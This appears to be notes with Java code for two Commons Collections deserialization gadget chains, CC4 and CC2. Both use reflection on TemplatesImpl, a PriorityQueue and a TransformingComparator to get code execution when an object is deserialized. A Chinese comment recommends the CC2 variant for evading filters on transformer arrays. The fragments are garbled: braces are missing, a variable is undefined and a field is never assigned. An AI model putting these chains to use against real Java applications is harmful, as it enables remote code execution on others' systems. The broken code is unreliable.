public class cc4 { public static void main(String[] args)throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class tc=templates.getClass();
Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa");
Field bytecodesField=tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1); priorityQueue.add(2);
Class c =transformingComparator.getClass(); Field transformerField=c.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator,chainedTransformer);
public class cc2 { public static void main(String[] args)throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class tc=templates.getClass();
Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa");
Field bytecodesField=tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);
//就这一句和cc4不一样,其它的一摸一样,只是不调用数组了,当碰到过滤transformer数组的时候可以用这个 InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
Class c =transformingComparator.getClass(); Field transformerField=c.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator,invokerTransformer);